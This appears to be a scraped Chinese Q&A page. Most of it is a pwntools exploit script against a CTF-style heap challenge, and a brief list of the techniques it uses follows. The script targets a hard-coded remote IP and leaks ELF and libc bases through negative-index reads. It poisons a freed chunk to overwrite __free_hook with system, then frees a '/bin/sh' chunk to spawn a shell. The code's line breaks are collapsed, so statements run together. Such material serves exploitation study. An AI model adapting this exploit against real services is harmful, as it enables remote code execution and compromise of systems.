from pwn import *#p = process('./uheap') p = remote('59.110.164.72',10029) context(arch='amd64', log_level='debug')libc = ELF('./libc-2.27.so') elf = ELF('./uheap')menu = b"choice:" def add(idx, size):p.sendlineafter(menu, b'1')p.sendlineafter(b"Index:", str(idx).encode())p.sendlineafter(b"len:", str(size).encode())def free(idx):p.sendlineafter(menu, b'2')p.sendlineafter(b"Index:", str(idx).encode())def edit(idx,msg):p.sendlineafter(menu, b'3')p.sendlineafter(b"Index:", str(idx).encode())p.send(msg)def show(idx):p.sendlineafter(menu, b'4')p.sendlineafter(b"Index:", str(idx).encode())p.sendafter(b"Input your favorite sentence:", b'A'*0x30) p.sendlineafter(b"Input your cookie:", str(0x15C6156C).encode())p.recvuntil(b"gift: ") gift1 = int(p.recvline(),16)p.recvuntil(b"gift: ") gift2 = int(p.recvline(),16) elf.address = (gift1^gift2) - 0x202090 print(f"{gift2 = :x},{elf.address = :x}")#gdb.attach(p,'b*0x0000555555400e37\nc')add(2, 0x80) show(-11) libc.address = u64(p.recv(32)[-8:]) - libc.sym['_IO_2_1_stdout_'] print(f"{libc.address = :x}")free(2) edit(2, p64(libc.sym['__free_hook'])) add(1, 0x80)#chk edit(-11, flat(elf.address+0x202090)) edit(-11, p64((libc.sym['__free_hook']&0xFFFFFFFFFFFFF000 )+0x250))#gdb.attach(p) #pause()add(3, 0x80) edit(1, b'/bin/sh\x00') edit(3, p64(libc.sym['system']))free(1) p.interactive()这串代码的知识点
时间: 2024-04-27 18:24:59 浏览: 216
PWN.rar_meathlg_site:www.pudn.com
这段代码是一个堆漏洞利用的示例,主要包括以下知识点:
1. 使用pwntools库进行远程攻击,以及进行基本的交互和发送数据的操作。
2. 使用ELF类获取二进制文件中的符号信息,包括libc中的符号和elf中的符号。
3. 构造堆块,包括分配、释放、修改和查看。
4. 利用堆漏洞实现任意地址读写,以及泄露libc基址和elf基址。
5. 利用libc和elf中的符号,进行攻击。
6. 利用gdb进行调试,以及使用pause()函数进行手动调试。
总体而言,这段代码涉及的知识点比较多,需要对堆漏洞的利用以及libc和elf中的符号有一定的了解。
阅读全文